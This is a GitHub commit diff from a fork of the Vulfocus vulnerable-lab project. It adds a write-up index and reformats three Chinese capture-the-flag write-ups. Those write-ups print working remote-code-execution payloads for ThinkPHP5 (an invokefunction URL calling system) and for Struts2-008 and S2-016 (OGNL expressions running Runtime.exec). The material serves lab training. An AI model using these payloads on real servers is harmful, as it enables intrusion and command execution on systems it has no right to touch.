forked from fofapro/vulfocus
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
26cb2ac
commit 522e602
Showing
35 changed files
with
554 additions
and
537 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,7 +1,45 @@ | ||
* [Vulfocus]() | ||
* [安装](INSTALL.md) | ||
* [Writeup](writeup/README.md) | ||
|
||
* Writeup | ||
|
||
* [ThinkPHP5 远程代码执行漏洞(CNVD-2018-24942)](writeup/CNVD-2018-24942/CNVD-2018-24942.md) | ||
* [Tomcat 任意写入文件漏洞(CVE-2017-12615)](writeup/CVE-2017-12615/CVE-2017-12615.md) | ||
* [ElasticSearch 命令执行漏洞(CVE-2014-3120)](writeup/CVE-2014-3120/CVE-2014-3120.md) | ||
* [Adobe ColdFusion 反序列化漏洞(CVE-2017-3066)](writeup/CVE-2017-3066/CVE-2017-3066.md) | ||
* [Drupal 远程代码执行漏洞(CVE-2018-7600)](writeup/CVE-2018-7600/CVE-2018-7600.md) | ||
* [Ranger 远程代码执行漏洞(CVE-2018-11776)](writeup/CVE-2018-11776/CVE-2018-11776.md) | ||
* [Samba 远程命令执行(CVE-2017-7494)](writeup/CVE-2017-7494/CVE-2017-7494.md) | ||
* [tomcat-pass-getshell](writeup/tomcat-pass-getshell/tomcat-pass-getshell.md) | ||
* [Tomcat 弱口令 Getshell](writeup/Tomcat弱口令/Tomcat弱口令.md) | ||
* [st2-048远程命令执行(CVE-2017-9791)](writeup/CVE-2017-9791/CVE-2017-9791.md) | ||
* [WordPress远程命令执行(CVE-2016-10033)](writeup/CVE-2016-10033/CVE-2016-10033.md) | ||
* [st2-046远程命令执行(CVE-2017-5638)](writeup/CVE-2017-5638/CVE-2017-5638.md) | ||
* [Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)](writeup/CVE-2016-4437/CVE-2016-4437.md) | ||
* [Couchdb 任意命令执行漏洞(CVE-2017-12636)](writeup/CVE-2017-12636/CVE-2017-12636.md) | ||
* [thinkphp_5.0.21命令执行](writeup/thinkphp_5.0.21命令执行/thinkphp_5命令执行.md) | ||
* [jboss-JMXInvokerServlet反序列化](writeup/jboss-JMXInvokerServlet反序列化/jboss-JMXInvokerServlet反序列化.md) | ||
* [Struts2-016远程代码执行漏洞(CVE-2013-2251)](writeup/CVE-2013-2251/struts2-016远程命令执行.md) | ||
* [ThinkPHP_2.X任意代码执行](writeup/ThinkPHP_2.X任意代码执行/ThinkPHP2.X任意代码执行.md) | ||
* [Thinkphp5.0.23远程代码执行](writeup/Thinkphp5.0.23远程代码执行/Thinkphp5.0.23远程代码执行.md) | ||
* [seacms-v6.53 命令执行漏洞](writeup/seacms-v6.53%20命令执行漏洞/seacms-v6.53%20命令执行漏洞.md) | ||
* [seacms-v6.45 任意代码执行漏洞.md](writeup/seacms-v6.45%20任意代码执行漏洞/seacms-v6.45%20任意代码执行漏洞.md) | ||
* [Struts2-008命令执行(CVE-2012-0392)](writeup/CVE-2012-0392/Struts2-008(CVE-2012-0392).md) | ||
* [Struts2-devMode命令执行(CVE-2016-4438)](writeup/Struts2-devMode/Struts2-devMode.md) | ||
* [Supervisord 远程命令执行漏洞(CVE-2017-11610)](writeup/CVE-2017-11610/CVE-2017-11610.md) | ||
* [PHP文件包含之利用phpinfo](writeup/PHP文件包含之利用phpinfo/PHP文件包含漏洞之利用phpinfo.md) | ||
* [Weblogic 命令执行漏洞(CVE-2020-2555)](writeup/CVE-2020-2555/CVE-2020-2555.md) | ||
* [Shiro RememberMe1.2.4反序列化](writeup/Shiro_RememberMe_1.2.4_反序列化/Shiro_RememberMe1.2.4反序列化.md) | ||
* [Apache Kylin 系统远程命令执行漏洞(CVE-2020-1956)](writeup/CVE-2020-1956/CVE-2020-1956.md) | ||
* [SpringBoot SpEL表达式注入漏洞](writeup/SpringBoot_SpEL表达式注入漏洞/SpringBoot_SpEL表达式注入漏洞.md) | ||
* [Spring Data Commons 代码执行漏洞(CVE-2018-1273)](writeup/CVE-2018-1273/CVE-2018-1273.md) | ||
* [Spring Data REST PATCH 请求代码执行漏洞(CVE-2017-8046)](writeup/CVE-2017-8046/CVE-2017-8046.md) | ||
* [CVE-2018-1000861(Jekins 远程命令执行)](writeup/CVE-2018-1000861/CVE-2018-1000861.md) | ||
|
||
* 镜像 | ||
|
||
* [Vulfocus镜像](images/README.md) | ||
* [贡献镜像](images/CONTRIBUTION.md) | ||
|
||
* [更新日志](CHANGELOG.md) | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,32 +1,35 @@ | ||
CNVD-2018-24942 | ||
|
||
# ThinkPHP5 远程代码执行漏洞 | ||
|
||
## 一、漏洞描述 | ||
|
||
ThinkPHP5 存在远程代码执行漏洞。该漏洞由于框架对控制器名未能进行足够的检测,攻击者利用该漏洞对目标网站进行远程命令执行攻击。 | ||
|
||
## 二、影响产品 | ||
|
||
上海顶想信息科技有限公司 ThinkPHP 5.*,<5.1.31 | ||
|
||
上海顶想信息科技有限公司 ThinkPHP <=5.0.23 | ||
|
||
## 三、利用流程 | ||
|
||
1 此漏洞对应靶场环境为 thinkphp5x 任意代码执行漏洞 (cnvd-2018-24942) | ||
|
||
 | ||
2 访问其如图所示 | ||
|
||
 | ||
|
||
3 在其地址增加路径与参数即可 | ||
|
||
/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /tmp | ||
4 成功得到 flag | ||
 | ||
|
||
参考: | ||
|
||
https://www.cnvd.org.cn/flaw/show/CNVD-2018-24942 | ||
# ThinkPHP5 远程代码执行漏洞(CNVD-2018-24942)by [M2ayill](https://github.com/M2ayill) | ||
|
||
## 一、漏洞描述 | ||
|
||
ThinkPHP5 存在远程代码执行漏洞。该漏洞由于框架对控制器名未能进行足够的检测,攻击者利用该漏洞对目标网站进行远程命令执行攻击。 | ||
|
||
## 二、影响产品 | ||
|
||
上海顶想信息科技有限公司 ThinkPHP 5.*,<5.1.31 | ||
|
||
上海顶想信息科技有限公司 ThinkPHP <=5.0.23 | ||
|
||
## 三、利用流程 | ||
|
||
1 此漏洞对应靶场环境为 thinkphp5x 任意代码执行漏洞 (cnvd-2018-24942) | ||
|
||
 | ||
|
||
2 访问其如图所示 | ||
|
||
 | ||
|
||
3 在其地址增加路径与参数即可 | ||
|
||
``` | ||
/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /tmp | ||
``` | ||
|
||
4 成功得到 flag | ||
|
||
 | ||
|
||
参考: | ||
|
||
https://www.cnvd.org.cn/flaw/show/CNVD-2018-24942 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,27 +1,27 @@ | ||
# Struts2-008(CVE-2012-0392) | ||
|
||
## 漏洞概述 | ||
|
||
S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx 所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的。 | ||
|
||
## 漏洞成因: | ||
|
||
主要利用对传入参数没有严格限制,导致多个地方可以执行恶意代码。 | ||
|
||
第一种情况其实就是 S2-007,在异常处理时的 OGNL 执行 | ||
第二种的 cookie 的方式,虽然在 struts2 没有对恶意代码进行限制,但是java的 webserver(Tomcat),对 cookie 的名称有较多限制,在传入 struts2 之前就被处理,从而较为鸡肋 | ||
第三种需要开启 devModedebug 模式 | ||
|
||
例如在 devMode 模式下直接添加参数 ?debug=command&expression= 会直接执行后面的 OGNL 表达式. | ||
|
||
影响版本:Struts 2.1.0 - Struts 2.3.1 | ||
|
||
启动靶场。 | ||
|
||
 | ||
|
||
利用 POC 拿到 Flag | ||
|
||
`/devmode.action?debug=command&expression=%28%23_memberAccess%5B"allowStaticMethodAccess"%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28"false"%29%20%2C%23context%5B"xwork.MethodAccessor.denyMethodExecution"%5D%3D%23foo%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27ls%27%29.getInputStream%28%29%29%29` | ||
|
||
 | ||
# Struts2-008命令执行(CVE-2012-0392)by [Frivolous-scholar](https://github.com/Frivolous-scholar) | ||
|
||
## 漏洞概述 | ||
|
||
S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx 所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的。 | ||
|
||
## 漏洞成因 | ||
|
||
主要利用对传入参数没有严格限制,导致多个地方可以执行恶意代码。 | ||
|
||
第一种情况其实就是 S2-007,在异常处理时的 OGNL 执行 | ||
第二种的 cookie 的方式,虽然在 struts2 没有对恶意代码进行限制,但是java的 webserver(Tomcat),对 cookie 的名称有较多限制,在传入 struts2 之前就被处理,从而较为鸡肋 | ||
第三种需要开启 devModedebug 模式 | ||
|
||
例如在 devMode 模式下直接添加参数 ?debug=command&expression= 会直接执行后面的 OGNL 表达式. | ||
|
||
影响版本:Struts 2.1.0 - Struts 2.3.1 | ||
|
||
启动靶场。 | ||
|
||
 | ||
|
||
利用 POC 拿到 Flag | ||
|
||
`/devmode.action?debug=command&expression=%28%23_memberAccess%5B"allowStaticMethodAccess"%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28"false"%29%20%2C%23context%5B"xwork.MethodAccessor.denyMethodExecution"%5D%3D%23foo%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27ls%27%29.getInputStream%28%29%29%29` | ||
|
||
 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,36 +1,34 @@ | ||
# Struts2-016 代码执行(CVE-2013-2251) | ||
|
||
# 漏洞概述 | ||
|
||
Struts2 是第二代基于 Model-View-Controller (MVC) 模型的 java 企业级 web 应用框架。它是 WebWork 和 Struts 社区合并后的产物。 Apache Struts2 的 action: 、 redirect: 和 redirectAction: 前缀参数在实现其功能的过程中使用了 Ognl 表达式,并将用户通过 URL 提交的内容拼接入 Ognl 表达式中,从而造成攻击者可以通过构造恶意 URL 来执行任意 Java 代码,进而可执行任意命令。 redirect: 和 redirectAction: 此两项前缀为 Struts 默认开启功能,目前 Struts 2.3.15.1 以下版本均存在此漏洞。 | ||
影响版本:Struts 2.3.15 以下。 | ||
|
||
注:一般 struts2 漏洞有一个明显的特征就是 url 路径里有`*.action`或 `*.do` | ||
|
||
## Write up | ||
|
||
首先启动靶场环境,点击`./default.action` | ||
|
||
 | ||
|
||
 | ||
|
||
首先先来进行手工验证,看是否存在漏洞,输入`?redirect:%25{222*3}` | ||
|
||
 | ||
|
||
页面没有响应内容,把执行的 OGNL 表达式`{222*3}`进行 url 编码再来一遍,结果如下 | ||
|
||
 | ||
|
||
 | ||
|
||
说明该网站存在 struts2-016 漏洞,然后去网上寻找 POC 来进行利用,然后执行 ls 命令查看 Flag | ||
|
||
|
||
|
||
 | ||
|
||
也可以用工具去执行直接拿到 Flag | ||
|
||
 | ||
# Struts2-016 代码执行(CVE-2013-2251)by [Frivolous-scholar](https://github.com/Frivolous-scholar) | ||
|
||
# 漏洞概述 | ||
|
||
Struts2 是第二代基于 Model-View-Controller (MVC) 模型的 java 企业级 web 应用框架。它是 WebWork 和 Struts 社区合并后的产物。 Apache Struts2 的 action: 、 redirect: 和 redirectAction: 前缀参数在实现其功能的过程中使用了 Ognl 表达式,并将用户通过 URL 提交的内容拼接入 Ognl 表达式中,从而造成攻击者可以通过构造恶意 URL 来执行任意 Java 代码,进而可执行任意命令。 redirect: 和 redirectAction: 此两项前缀为 Struts 默认开启功能,目前 Struts 2.3.15.1 以下版本均存在此漏洞。 | ||
影响版本:Struts 2.3.15 以下。 | ||
|
||
注:一般 struts2 漏洞有一个明显的特征就是 url 路径里有`*.action`或 `*.do` | ||
|
||
## Write up | ||
|
||
首先启动靶场环境,点击`./default.action` | ||
|
||
 | ||
|
||
 | ||
|
||
首先先来进行手工验证,看是否存在漏洞,输入`?redirect:%25{222*3}` | ||
|
||
 | ||
|
||
页面没有响应内容,把执行的 OGNL 表达式`{222*3}`进行 url 编码再来一遍,结果如下 | ||
|
||
 | ||
|
||
 | ||
|
||
说明该网站存在 struts2-016 漏洞,然后去网上寻找 POC 来进行利用,然后执行 ls 命令查看 Flag | ||
|
||
 | ||
|
||
也可以用工具去执行直接拿到 Flag | ||
|
||
 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.